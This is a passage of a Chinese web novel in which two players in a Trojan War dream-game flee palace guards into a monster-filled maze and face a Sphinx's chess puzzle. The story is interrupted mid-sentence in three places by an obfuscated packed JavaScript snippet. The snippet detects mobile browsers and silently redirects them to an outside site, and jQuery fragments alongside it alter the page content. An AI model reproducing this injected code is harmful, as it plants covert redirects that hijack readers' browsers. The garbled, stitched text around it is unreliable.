南柯发现,看着陈立阳的眼睛,她竟然不由自主地想要靠近他,脑中也不可控地浮现出一些更加亲密的画面。 南柯咬了咬唇,逼迫自己别开眼。 阿芙洛狄忒神秘地笑了笑。她看向陈立阳:“我的承诺已经达成,能不能成功带走美人,就看你自己的表现了。” 话音落下,阿芙洛狄忒化成一阵粉色的轻烟,缓慢消散在空气中。偌大的大厅里,只剩下南柯和陈立阳两个人。 许是被神力影响的内容太过难以启齿,一时间,两人都没说话。 几秒钟后,南柯率先打破沉默:“那些都是幻象,不要被影响。接下来,我们不要看对方的眼睛。”她语气尽量自然,但比平常略快的语速还是暴露了她心中的些许波澜。 陈立阳顿了顿,回答:“好。” 视线离开陈立阳的脸,南柯终于慢慢冷静下来:“我的任务是和你一起逃离斯巴达护卫队的封锁。” 陈立阳:“我也是一样的内容。” 南柯:“你有什么想法?” 陈立阳语气沉了沉:“现在我们还没看到叶帆三人,他们可能……在护卫队的阵营里。” 果然,他的想法和自己不谋而合。 南柯点点头:“你还记得进来皇宫时候的路线吗?” 陈立阳:“阿芙洛狄忒带着我凌空而来,我在空中隐约看到了皇宫的整体布局,大致记得通往各处的路线。皇宫的东南西北四个方向都有大门,除了南门,其他三个门都有十五个左右的侍卫把守。” “那南门有什么?” 陈立阳顿了顿。片刻,他答:“南门没人守卫,宫门大开,一马平川。” 这个消息并没有让南柯松一口气。她皱了皱眉:“没有侍卫,那只能说明……” 陈立阳接过话来:“这个门有比侍卫更加牢靠的保障,只是我还没有发现。” 他的想法再次和南柯不谋而合。 南柯当机立断:“我们走北门。如果遇到叶帆他们,尽量避免动手,走一步看一步吧。”说着,她三两下解下披风,摘下头上沉重的头冠,然后开始解裙子的腰带。 陈立阳的语气显而易见的惊慌:“姐姐,你……” 如果南柯此时抬头,就能看到少年飞快别开眼去,白皙的面孔瞬间染上鲜红。 然而,南柯无暇理会陈立阳的反应。她三两下剥下厚重的宫装,露出里面利落但并不暴露的短衫和样式古怪的灯笼裤,不满地在少年的脑袋上轻敲一下:“乱想什么?走了。” 31. 特洛伊战争(十二) 陈立阳的心乱被南柯的一记暴栗敲醒。 他心里暗道阿芙洛狄忒的神力过于霸道,竟然控制着他的想法不由自主地跑偏,赶紧努力收敛心神,跟上南柯的脚步。 两人刚走出会客厅,就听到密集而急促的脚步声。 南柯朝声音的来源看去,语气严肃:“来得好快。” 陈立阳在脑海中回忆皇宫的地图,拉住南柯的手腕:“姐姐,跟我走。” —— 在他们离开不久,会客厅前的空地就被皇宫的护卫队所占领。这支护卫队由国王亲自带领,国王的容貌竟和叶帆一模一样。 此时,他神色复杂地看向南柯和陈立阳逃离的方向,迟迟没做出追击的命令。 林易所扮演的护卫队长眼底闪过一抹算计。他沉声道:“陛下,王后与外男私自出宫有违纲常,真让他们逃走的话,一定是国家的一大丑闻。请您尽快决断。” 他意有所指地看向叶帆,不出南柯所料,他们的附加任务正是“阻止王后海伦和特洛伊王子帕里斯逃离斯巴达王国”。 秦萝所扮演的护卫队副队长一脸担忧:“可是……”她想说护卫队的人个个手持兵器,南柯和陈立阳只有两个人,难免不会造成伤亡。然而,她现在的角色显然不适合说这些。 好在,叶帆和她想法一致。他抬了抬手:“王后身份尊贵,刀枪无眼,所有人放下兵器,只可追击,不可伤人。” 他也想到南柯和陈立阳的任务可能是逃离追捕,他们接到截然相反的两个任务,他暂时难以找到破局之法。但在月亮女神的幻境中,南柯曾经舍身救他,他做不出忘恩负义的事,当前,也只能尽量拖延,等他们有机会接触再商量具体对策。 作为护卫队长的林易无法违背他的决定。他眸光一沉,指了指右侧的道路:“陛下,您带副队沿这个方向追击,我带一队人从左边夹击!”说着,不等叶帆答复,他便挥手带着一队护卫快步离开。 叶帆看着他离开的方向眉头微皱,轻声道:“怎么感觉……有些不对劲。” 秦萝走上前,同样以只有两个人能听到的声音说:“别太担心。系统应该不会给出无解的任务,一定会有办法。我们先按照任务要求走剧情。” 叶帆点头:“只能先这样。” —— 陈立阳凭借超绝记忆力带着南柯往北门的方向走。然而,刚走到一半,迎面便是一支十人护卫小队。 护卫队手上没有兵器,南柯飞快在心里计算了一下硬拼的可能性。如果是她一个人,只考虑脱身,应该没问题。但同时要保证陈立阳安全的话……她皱了皱眉,沉声道:“继续往前走,可能会面临追捕小队和大门护卫前后夹击的局面,很难突围,我们换个方向。” 陈立阳没有丝毫质疑,立刻更换路线,由去北门改到去西门。中途,凭借他惊人的记忆力,他们利用建筑掩体躲过了几波追捕。然而,距离大门还有百米左右的时候,又一支十人小队从他们的必经之路上迎面而来。 南柯定睛一看,这支小队的带头人正是林易。林易身后的护卫都没带武器,但他本人身上却挎着一个制式简单的弓弩。 南柯犹豫了几秒钟要不要和他同步一下信息,但看到他脸上的急切,还是作罢。 她和陈立阳蹲在花圃后面:“从现在的情况看,除了南门,其他三个门可能都有追兵。目的很明确,就是要把我们往南门的方向驱赶。” 陈立阳点点头:“现在我们还没看到叶帆和秦萝,他们很可能就在东门的方向。接下来我们怎么办?” 南柯想了想:“我们去东门。得和他们见一面,知道他们具体任务是什么,才能想出有针对性的对策。” —— 几分钟后,南柯和陈立阳果然与叶帆和秦萝带领的护卫队狭路相逢。他们的护卫队人数最多,大概有二十多人。 南柯止住脚步,叶帆也抬手阻挡了想要追击的护卫。 两人眼神交错,叶帆立刻领会了南柯的意思。他朗声道:“王后,你和帕里斯已经被上百个宫廷护卫包围,东、西、北三面都被护卫封锁,而南面是王宫世代传承的护国阵法,极难突破。”他顿了顿,加重语气:“我的护卫队绝不可能让你和帕里斯逃出斯巴达王国!只要知错能改,你还是我的王后。” 南柯心念一动。 叶帆的话传递出两个信息。其一是皇宫南门确实凶险,危险来源于未知的“护国阵法”。八成叶帆也并不知道这个阵法是什么,所以无法做出更具体的提示。另外就是,他们的任务内容是,阻止她和陈立阳逃出斯巴达王国。 仔细在心里默念了几遍这个任务内容,南柯微微松了一口气——看来并非没有转圜的余地。 得到有用的信息,她不动声色地递给叶帆一个安心的眼神,并假意挑衅:“那陛下就尽力而为,看看能不能追得上我们!” 说完,她飞快拉着陈立阳掉头就跑。 陈立阳一边跑一边问:“我们去南门?” 南柯没回头:“从皇宫的护卫分布来看,南门应该是逃离护卫封锁的唯一机会。看来南门的‘护国阵法’是这个梦境精心设计,既然如此,我们就节省时间,去看看这个阵法究竟有什么玄妙。” —— 果然,一路跑到南门,南柯两人没有再遇到护卫阻拦。不多时,他们便隔着一百米的距离看到了南大门。前面果然如陈立阳所说,空无一人,一马平川。 南柯神色警惕:“小心。这个阵法应该是激发式的,只有走入一定范围内才会激活。” 陈立阳不敢和她对视,生怕心声旖旎之念,只沉声道:“好。” 身后已经传来追兵的声音。 南柯不再犹豫,率先向前走。没走几步,地面便传来显著的震感。她立刻停住脚步。前方,无数面大理石打造成的墙壁拔地而起,在大概半分钟的震荡之后,墙壁终于不再上升,地面也再次回归平静。 大概五六米高的石墙在两人面前形成了巨大的迷宫。迷宫前,几行凹陷的文字凭空出现。 南柯皱眉看 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16683061|187240||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着眼前的文字。这可能是这个阵法的简介,但她却完全看不懂。因为,这些文字居然是希腊文! “拦下他们!”林易带领的护卫队率先追过来。 南柯一咬牙:“走,先进去!”说着,她便拉着陈立阳飞快跑进迷宫之中。好在,迷宫入口处只有左拐一条路,不用判断路径正确与否。 林易抬手止住了身后的护卫,脸上流露出得逞的笑意。 作为皇宫护卫队的队长,他刚刚成为这个角色,脑子中就多了关于皇宫布防的信息。所以,比起叶帆,他知道关于“护国阵法”更多的细节。 如果说人力的追捕南柯两人还有可能逃脱,那这个滴水不漏的“护国阵法”绝对可以将他们置之死地。 林易看着闯入迷宫的南柯和陈立阳,语气略带遗憾:“我也不想的。但谁让我们的任务相悖,你们不死,死的就是我……” —— 另一边,南柯没有直接深入迷宫,而是在刚刚进入迷宫大概十米左右的位置停下来。这十米距离,她满心警惕,生怕遭遇暗器之类的袭击,但一路都安安静静,全然看不出有什么危机。 难道这个阵法的难点就是走出这个迷宫吗? 刚刚大理石墙拔地而起的时候,她粗略看了一眼,迷宫的纵长不超过二十米,即使他们无法一次性找到正确的路径,只要每次把走过的路线记在脑子里,绘制出整个迷宫的地图不成问题,走出去也只是时间问题。 她直觉这个迷宫隐藏着更大的危险。 正思索,陈立阳拉了拉她的衣袖。 他神色凝重:“姐姐,这个迷宫,我们必须一次性找到唯一正确的路径。” 南柯眉眼一挑:“你知道迷宫的玄机?” 陈立阳抿抿唇:“我们进来前,迷宫的入口处有几行希腊文,上边写的是这个迷宫的设计。” “你能看懂希腊文?”南柯惊讶地抬起头,却在对上陈立阳眼睛的瞬间又赶紧错开。只一眼,她便又有心跳加速的倾向。 陈立阳含糊道:“大致懂一点。” 希腊文……这门过于小众的语言让南柯很难不联想到她要找的那个人。18岁,精通多国语言,智商极高。 世界上有如此多巧合的事? 她胸口像堵着一团不上不下的棉花,偏偏现在不是详细追问的时候。 陈立阳也没解释他为什么会希腊文,直接切入正题:“在这个迷宫中,如果一直沿着正确的路径走,我们一共会遇到十二个分岔路口。在每个路口,都必须做出正确的选择。因为,每条错误的路径上,都镇守着一只人力无法抵御的怪物。所以,一旦选错,我们就会直接被怪物所抹杀!” 十二个路口,如果不知道正确的路线,那么每次随机做出正确选择的概率是二分之一。十二次选择的话…… 这种时候,南柯竟还有闲心想起她在上一个梦境中和白芒说过的九年义务教育。 现在,九年义务教育告诉她,她和陈立阳凭借运气通关的概率无限接近于零。 32. 特洛伊战争(十三) 当前的场面进退维谷。退出迷宫,皇宫的护卫队已经在入口处集结,继续前进,未知的怪物在迷宫深处蛰伏。 南柯抬头,视线顺着迷宫的墙壁爬到最顶端。墙壁大概有三层楼高,上面的浮雕绘着有关于众神的各种神话故事,凹凸明显。 她又在脑中过了一遍自己当前拥有的道具。 本梦境中的限定道具【骨弓】还剩两枚月矢,可以用来射杀怪物; 【细胞工厂】中获得的徽章道具【幻梦冰晶】可以抵御一次致命伤害; 【逆转沙漏】和【真理之页】如果使用得当可以避免一次危险; 【友谊灵石】和【催眠之弦】可以对怪物产生一定影响。 在这些道具的加持下,虽然境况仍然危险,但他们通关的概率会大幅提升。 在继续前进之前,南柯认真道:“虽然这个梦境很危险,但我会尽最大努力保护你。” “我知道。” 南柯顿了顿,视线上移,落在陈立阳好看的薄唇上:“如果我们成功从这里出去,你可以回答我几个问题吗?” 陈立阳默了几秒钟。 面对她的问题,他可以选择撒谎,但他知道,她现在是在问他能否真诚相待。 南柯并不着急,耐心等着他的答案。 片刻,陈立阳终于低低开口:“好。” —— 南柯两人从迷宫入口沿着唯一的路径缓慢前进。大概五分钟后,第一个分岔路口终于出现。南柯的警惕性瞬间提升到最高值。 岔路呈T字形,他们有左右两个方向可以选。在靠近两个方向的墙壁上,各自画着一只长着三个头、蛇尾、身形和狗很像的怪物。有别于前面的浮雕,这两只怪物的轮廓用黑金色的线条勾勒,栩栩如生。 南柯想了想:“或许,这个分岔口错误的路径上镇守的就是这种怪物。” 陈立阳盯着怪物的三个头:“这个应该是地狱三头犬,传说中它狂吠时可以喷出毒液。” 南柯指了指墙壁顶端:“你在这里等着,我上去看看。” 迷宫墙壁上的浮雕正好可以用来借力,对她来说,攀上五六米的高度不算太难。这是她刚刚就想好的办法,从高空向下俯瞰,视线会清晰很多。 虽然她没有陈立阳那样变态的大脑能直接解出迷宫的全部路径,但有怪物作为地标,至少她可以看到最近的分岔口应该选择哪条路。 陈立阳拉了拉她的衣袖:“姐姐,除了迷宫里的怪物,护卫队应该也已经在迷宫外聚集。多加小心。” 南柯点点头,摸了摸浮雕表面,以适应那种粗粝的触感。不多时,她抓着一块凸出的浮雕弹身而起,逐渐向上攀登。 攀爬过程比她想象的轻松,没什么突发情况。很快,她的双手便触摸到了墙壁的顶端。她没停顿,左脚抬起踩上更高的浮雕,双手用力,稳稳地将上半身带出墙壁边缘,同时微微侧身,方便她观察两条岔路的情况。 然而,视线刚刚清晰,三道墨绿色的暗影便从右侧朝她的脑袋飞射而来。出于对危险的敏锐感知,南柯立刻低头,最低的暗影堪堪擦着她的头顶掠过。 她的视线飞快向右扫了一眼,沿着右侧岔路向前经过一次左转和一次右转后的位置,一只三头怪物的三张嘴正同时张开,预备喷出第二次毒液。除了这条路径外,其他位置则仿佛被迷雾笼罩,完全看不真切。 南柯没有任何犹豫,松开扒在墙壁顶端的双手让自己自由下落。 下一瞬,毒箭几乎贴着墙壁的最高点掠过。如果她刚刚再慢上一厘,恐怕此时身体已经被毒液洞穿,连道具都来不及调用。 下落的过程中,她冷静地用手脚撑在墙壁上用摩擦力抵抗重力,终于在落地前再次找到着力点,最终稳稳落到地面上。 从她察觉到第一轮毒箭到现在,整个过程不超过五秒钟。 陈立阳神色焦急:“姐姐,受伤了吗?” 南柯攥了攥刚刚因和墙壁摩擦而破皮的手心:“没事。看来,这个迷宫的安全范围有高度限制,超过墙壁的高度也会受到最近的怪物攻击。而且,在岔路口上,只能看到左右两条路径的走向,再往下的路径都看不真切。” 陈立阳眉头紧皱:“这个方法太危险了,你不能再去冒险。上个梦境我得到了SSS级的评分,获得了一些道具,下次遇到分岔口我去试,如果遇到怪物,我就用道具解决,等实在没有道具可以用了我们再想其他办法。” 为了不让陈立阳过度焦虑,南柯刚刚没有说,当地狱三头犬的毒箭射来时,即使是她,都差点儿没有反应时间。陈立阳不像她一样经过高强度的训练,她不确定他在怪物攻击前是否来得及使用道具。 但她没有直接驳斥小孩儿的好意,只是说:“俯瞰的时候只有最近的路径没有被迷雾笼罩,基本上只要看一眼就知道哪条路上有怪物。这个办法虽然有风险,但很高效。我手里还有上个梦境中得到的【幻梦冰晶】,可以被动触发,在这个道具使用前,我会很安全,别担心。等这个道具失效,再按你说的来。” 她没给陈立阳反驳的时间,直接拉着他前往左边的岔路。 —— 叶帆和秦萝赶到迷宫外的时候,刚好看到南柯险些被墨绿色的毒箭刺中的场景。 叶帆瞳孔放大:“那是什么?” 林易的眉头微微皱起。他想不到南柯居然连这么高的墙壁都能爬上去,虽然怪物可以对空攻击,但刚才那三枚毒箭也没射死她。 还是有变数。 他漫不经心地回答叶帆的问题:“迷宫里有怪物,刚刚那应该就是怪物的攻击。” “什么怪物?” 林易有些不耐:“不知道。”他沉住气,压低声音:“不用担心,这个迷宫十死无生,我们只需要在这里等着,很快就能通过任务了。” 秦萝拧眉看向他,许是梦境快结束了,不用维持表面的体面,林易现在的态度和之前判若两人。 叶帆盯着他:“如果没有南一和杨黎晨,我们根本不可能顺利来到这里。你这么说不太合适吧?” 林易奇怪地看他一眼:“你这么感激他们,刚刚怎么不下令让护卫队停止追击?还不是任务规定应试者的行为不可以脱离扮演人物的主线剧情 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16694292|187240||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。即使你愿意牺牲自己放走他们,主线剧情也不会因此改变,他们被逼近这个阵法的结果是注定的。” 他耸耸肩,“而且,这个梦境的最终任务就是阻止特洛伊战争,如果让他们逃走,所有人的最终任务都会失败。既然如此,难道我还要和他们一起死不成?” 秦萝忍不住反驳:“我们还不知道他们的附加任务到底是什么,虽然看起来和逃跑有关,但万一有两全的方法呢?” 林易挑了挑眉:“既然如此,那你们就祈祷吧。” “你——” 叶帆瞥了瞥后面神色警惕的护卫队,拦下还要和林易争辩的秦萝:“多说无益。我们安心等着吧,他们那么厉害,一定能通过阵法。” 林易嗤笑一声,不说话了。如果他们真有那么厉害,那就别怪他…… —— 摸清迷宫的规则后,南柯两人前进的速度快了一些。大概十分钟后,他们来到了第二个分岔口。 南柯盘算着时间:“有些不对劲。从外面看,这个迷宫大概五米宽,二十米长,但我们刚刚从第一个岔路口到第二个岔路口走了大概三百米,即使路径回环曲折,应该也没那么远才对。” 陈立阳:“我也感觉到了。看来,这个迷宫另有玄机。只有对于进入其中的人来说,迷宫的面积才会延展。” 南柯:“嗯,刚刚匆匆一瞥,那头地狱三头犬的体积不小。光是在迷宫外面看到的面积,应该不足以封印十二头这么大的怪物。” 她看向岔路口再次出现的黑金色怪物图标,“来看看认不认识这个怪物。” 当前的怪物看上去是三种动物的组合体,有三个头,最前方是狮子头,脊背上方冒出一个羊头,尾巴末尾又呈现蛇头的形状。 陈立阳想了想:“好像是喀迈拉。传说记载它中间的羊头可以喷火,如果在长矛上加一个铅块刺穿它的喉咙,它吐出的火焰就会让铅块融化,从而把它杀死。” 虽然像百科全书一样的陈立阳对这些乱七八糟的怪物了如指掌,但他们现在没有长矛,也没有铅块。 南柯抿了抿唇:“古希腊人民的想象力真是丰富。” 陈立阳轻咳一声:“古A国人民的想象力也不差。《山海经》里的怪物比起这些有过之而无不及。” “……” 南柯盘算着如果正面遇到,她射出的月矢能不能直接杀死喀迈拉。答案是……不能。如果喀迈拉喷火的速度和地狱三头犬喷吐毒液的速度一样快,可能在月矢刺中喀迈拉的那一刻,她也会被火焰直接吞噬。 只能躲,不能硬碰硬。她得再快一些。 当前的分岔口同样分出两条路,右转和直行。南柯深吸一口气,再次攀上右侧的墙壁。 当她的上半身像上次一样探出墙壁外的时候,扇形的火焰立刻携着滚烫的热浪从斜下方飞射而来。她双手仍扒在墙壁上,只是任由身体下落到墙壁以下,做出悬吊的姿势,避免被火焰波及。 然而,虽然避免了火焰的正面攻击,她手背的皮肤还是不可避免地被热浪撩到,钻心的痛感很快顺着手背传递到她的中枢神经。 33. 特洛伊战争(十四) 这时候不能松手,不然这样的过程还得再来一次。南柯咬牙忍着手背的灼痛感,在脚下找到一个着力点堪堪稳住身形。 刚刚火焰来得太快,她只来得及看到喀迈拉的方向,但没有完全看清岔路口的哪一条可以通向那个位置。至少还得再看一次。 她深吸一口气,时刻关注上方的动静。当她的身体隐蔽在墙壁下时,火焰果然没有再袭来。看来,怪物只能攻击视线所及的目标。 在某个时刻,南柯蓄起力气,双手用力向上一撑,迷宫的场景再次落入她的视野之中。 她飞快理清下方的路径。两秒钟后,她像上次一样利用墙壁的摩擦力落在地面上。 抬眼时,头顶只余下一片猩红的热浪,大概在她松手的瞬间,扇形的火焰便再次贴着墙壁的顶部飞过去。 本就破皮的手掌渗出星星点点的血珠,南柯没理会,简短道:“直走。” 喀迈拉的方向就在正前方,如果没有完全看清,很容易误以为右边才是正确的路径。还好她又查看了一次。 然而,没走出几步,手腕便被人拉住。 南柯回头,陈立阳正抬起她的手腕,拧眉看向她的手心。 南柯浑不在意:“没事,只是擦伤。如果能从梦境出去,伤口都会直接恢复。” 这次,陈立阳却没听她的。他语气很坚定:“伤口可以恢复,但痛感却是真实的。下次我来,我有把握安全通过。” “啊。” 陈立阳垂眼看向地面:“我可以现在回答你的问题。” 南柯刚刚的停顿只是想问问陈立阳的倚仗是什么,如果确认他的确不会有危险,那让他破局也无妨,毕竟她只是对自己的身手有一定信心,而不是狂妄到觉得光凭自己一定可以让他们两人脱险。但陈立阳突然提起这件事…… 南柯将自己的手腕抽离出来:“为什么?” “不想让你一个人冒险,希望这样可以获得你的信任。” 他声音坦荡,没有一丝扭捏,似乎只是想和自己快速达成默契。南柯想了想,“好。那我先问一个问题。剩下的,如果能从这里出去再说。” 陈立阳轻轻“嗯”了声表示同意。 “你右腰上,有没有蝴蝶形的胎记?” 陈立阳默了几秒钟。然后,他轻轻吐出两个字:“没有。” “嗯……知道了。” 南柯直觉陈立阳没有撒谎,但对这个答案,她也没有过多惊讶,只是问:“你想怎么通过接下来的岔路口?” 陈立阳调出自己的个人面板:“我有一个通用道具,叫【神隐斗篷】,可以隐匿身形和气息。一次使用机会,时效十分钟。刚刚我们从第一个岔路口走到第二个岔路口用了十分钟,如果走得再快一些,这个时间还可以缩短。我们可以在路口处随机选择一条路,然后使用【神隐斗篷】快速走到下一个岔路口,如果遭遇怪物,就再折回来选择另外一条路。” 陈立阳和南柯一样,在【细胞工厂】获得了SSS级的评分,所以他有这种bug型的道具并不奇怪。 看来,即使是同一个初筛梦境,通关后获得的道具种类也并不相同。这样的认知让南柯想起了另一件事…… 她按捺下心里的疑点,继续当下的话题:“这个道具可以提前装备,不需要临时调用,确实很适合当前的场景。不过……也只能使用一次。” “我们先往前走,至少可以排除一条错误的路径。之前叶帆说这个阵法是‘护国阵法’,迷宫的路径很可能和斯巴达王国有些联系。或许,再通过几个岔路口,我就能观察出迷宫的规律。” 南柯不是扭捏的人,既然选择把下个路口·交给陈立阳,就会给他百分之百的信任。她简短答:“走吧。” —— 直走大概十分钟后,他们终于到达第三个岔路口。这个岔路口可选择的方向又是左和右,路口墙壁上绘着的图案是一个以毒蛇为头发的人形女妖。 这个怪物不用陈立阳介绍,南柯也有所耳闻,大名鼎鼎的美杜莎,虽是凡身,但看到她眼睛的人都会被石化。 陈立阳调出道具【神隐斗篷】披在身上:“姐姐,你先在这里等一下,我去右边。”他顿了顿,“如果我很长时间都没回来,你就走左边。” 南柯叫住他:“这个斗篷不知道对怪物来说是否能起作用,保险起见,如果真的遇见美杜莎,还是尽量别看她的眼睛。” 陈立阳唇边泛起笑意:“好。” —— 南柯默默在心里计算着时间。 她不太喜欢这种等待同伴归来的感觉,从前出任务的时候就是这样。她有过一次再也没等回同伴的经历,从那以后,她就宁愿自己涉险,也不愿意做留在原地的人。 然而,初筛梦境获得的通用道具无法转赠。而且,陈立阳也不是她的附属品,她无权剥夺他做选择的权利。 南柯的目光黏在右转的路口处,时间仿佛被无限拉长。 终于,大概十五分钟后,路口传来奔跑的声音。下一刻,已经失去【神隐斗篷】的陈立阳出现在她眼前。 少年应该跑得很急,气息微喘,脸颊泛红。阿芙洛狄忒的神力还在,南柯的视线刻意避开他的眼睛:“没事吧?” 陈立阳摇摇头:“我遇到了美杜莎,她的能力比神话里要强一些,不需要对上她的眼睛,只要被她看到就会石化。不过好在斗篷还是起了作用,她应该只看到了斗篷,没看到我本人,我趁着斗篷石化的时间跑回来,她也没有追上来,看来这个迷宫里怪物的位置应该是无法移动的。” 他语气平静,情绪似乎并没有因刚刚的生死危机产生波动。南柯将那句“害怕吗”压回喉咙里。 —— 迷宫已经通过四分之一,前三个岔路口总计消耗一个道具,还算顺利。 不过这种顺利没有持续太久。很快,他们遇到了进入迷宫后的第一个三分岔路口。现实中的迷宫尚且不可能每个路口都只有两个方向可选,南柯两人对此早有预料。 看到这个岔路口的怪物图标,南柯忍不住疑惑:“狮身人面?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16702973|187240||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 怪不得她惊讶,眼前的图标像极了埃及的狮身人面像,只是比之多出一对巨大的翅膀。现在,这个图标却出现在了希腊的土地上。 陈立阳为她解惑:“这个怪物名为斯芬克斯,最先就源自于古埃及的神话。某个王朝的法老正是以这个形象建造了埃及的狮身人面像。后来传到古希腊,斯芬克斯被视为具有极高智慧的超自然生物,传说中,赫拉派它守在悬崖上,向路过的人提出谜语,答不出的人就会被它吃掉。” 南柯想了想:“所以这个怪物的攻击方式,有可能是和来人进行问答?” “不确定,但应该是智慧类的考验。” 南柯笑了笑,揶揄道:“那对你来说,岂不是专业对口?” 陈立阳有些不好意思:“我只是平时看得杂书多一点。” 南柯没忘记他在【细胞工厂】中的表现。博览群书,过目不忘,再加上强大的逻辑思维能力……陈立阳本身就像一个无解的bug道具。 南柯看向前面的三条路:“选一条吧,试试你的运气。” 刚走过三个岔路口,迷宫的整体纹路还未成型,选择哪条正确的概率都是一样的。 陈立阳凭直觉指了指直行的道路,南柯便抬脚朝正前方走去。 陈立阳叫住她:“姐姐,我自己去吧。” 南柯挑眉:“怕我拖你后腿?我看起来好像也不笨吧。” “不是!”陈立阳立刻否认,“就是……两个人一起去风险太大,我自己去的话,如果回不来,你就可以排除一个错误选项了。” 南柯笑了笑:“上一个路口,你说如果你没回来我就走另一边。这一个路口,你又说如果你回不来,我就可以排除一个错误选项。我姑且不驳回你舍己为人的好意,但我觉得有必要提醒你一下。” 她顿了顿,接着道:“我们的附加任务是,和彼此共同逃离护卫队的封锁。任何一方死了,另一方的任务也会失败。所以,不要轻易死,更不要想着为了我死,听到了吗?”说到最后一句时,她粗暴地揉了揉陈立阳的头发。 在她的提醒下,陈立阳才想起附加任务的具体内容。这次的任务没有【细胞工厂】中的【命运之红绳】描述得那般清晰,他险些忘记他和南柯如今又达成了短暂的共生关系。 他赧然垂下头,温顺答话:“听到了。” 南柯满意地收回手,继续朝前走去。身后,少年的耳垂已经烧得通红。 —— 这次,陈立阳的运气显然不是太好。在某个拐角,狮身人面的怪物猝不及防闯入他和南柯的视线里。 虽然还有一段距离,但两个人都没有转身逃跑的打算。一个不以攻击力见长的怪物,自然要有别的手段限制闯入者。 果然,下一刻,两人只觉得眼前一花。视线再清晰时,他们已经来到了怪物的正对面,距离只剩一米之遥。 怪物的人脸上露出猫捉老鼠般的狡黠神色,深邃的眼睛里闪烁着智慧的光芒,声音兴奋又抑扬顿挫:“欢迎你们进入智慧的角斗场!” 34. 特洛伊战争(十五) 虽然前边已经见过几个只存在于神话里怪兽,但面对面听一只怪兽说话还是第一次。南柯忍不住抖了抖身上的鸡皮疙瘩。 陈立阳往前一步:“你是斯芬克斯?” 怪物的眸光闪了闪:“你竟然知道我的名字。” “听说过。”陈立阳转回正题:“智慧的决斗,怎么个决斗法?” 斯芬克斯眯起眼睛:“这么着急赴死吗?” 陈立阳不为所动:“输赢还未可知。” 斯芬克斯脸上露出轻蔑的表情:“既然如此,那边如你所愿。”说着,他两肋的翅膀向前一挥,一个半米见方的棋盘出现在它和陈立阳中间。 棋盘由相间排布的六十四个黑白方块构成,此时,黑色和白色棋子都只剩下四枚,显然已是残局。 南柯目光扫过棋盘:“国际象棋?” 陈立阳点点头:“我们这边执白棋。姐姐会下?” 南柯摇头:“只是知道这种棋类,并不清楚规则。” 斯芬克斯毫不掩饰语气里的狂妄:“七步之内,下赢我,你们就能活着离开。否则,就只能变成我棋盘上的棋子!” 陈立阳专注看向棋子的排列。 大概一分钟后,他随意问:“白棋先手?” “是的,”斯芬克斯大发善心,“我给你二十分钟时间考虑!” 话音刚落,他便看到陈立阳已经走到棋盘中拿起一枚白象,然后将它沿着斜上方走了四格。 他一边放下棋子,一边向南柯解释:“国际象棋中,象可以沿着对角线移动任意格数,不能越子,如果对方的棋子正好在这条对角线上,就可以吃掉。” 斯芬克斯骄傲的脸上终于出现了一丝裂痕。不仅仅是因为眼前这个年轻人的出手速度,更是因为……这是一个“白先七步杀”的残局,白方只有在每一步都采取唯一精确的策略,才能在七步后正好将死黑方。 此时,陈立阳走的第一步,竟然完全正确! 它惊疑不定地看向陈立阳,似在判断他刚刚是随意落子还是真的经过了周密的计算。然而,陈立阳的表情平静无波,看不出一丝端倪。 它迟疑片刻,挥动翅膀操控着黑棋走出一步。 陈立阳看到他的落子后,几乎没有思考的时间,再次飞快地捏起一枚白棋落下一子。 巧合不可能同时出现两次。斯芬克斯终于确定,眼前这个年轻人,真的在如此短的时间内就勘破了这个棋局! 它神色复杂地看向棋盘,久久没有再次出手,眼里的狡黠飞快转化为挣扎。 这时候,耳边突然传来年轻人的轻笑:“‘白先七步杀’的排局,是不是?”不待斯芬克斯回答,他便继续道:“不过你的这个棋局不够精妙,白棋要赢不止一种解法,我只是采用了最容易的一种。真正精妙的棋局,每一步都具有唯一解。” “什么?” 斯芬克斯最引以为傲的就是他的智慧,这是他精心排布的棋局,自己已经推演过无数次,眼前这个年轻人居然说它不够精妙! 陈立阳并不理会他的惊讶,话锋一转:“我从前听过一个神话故事。底比斯人触怒天神,赫拉派以智慧见长的斯芬克斯在悬崖边向路过的底比斯人提出谜题,答不出的人就要被吃掉。后来,底比斯国王俄狄浦斯居然答出了他的谜题,然后……斯芬克斯便在羞愧之下跳崖而死了。” 他看向神色灰败的斯芬克斯:“也不知道,这个传说是不是真的。” 斯芬克斯毕竟长着一张人脸,表情传达出的情绪和普通人没什么两样。他眉头拧起来,语气中全然没了一开始的傲慢:“你想怎么样。” 这个年轻人可以勘破他的棋局,也知道失败后自己会面临什么样的下场,但却没有直接赢棋,而是把这些信息拿到明面上。他当然有所求。 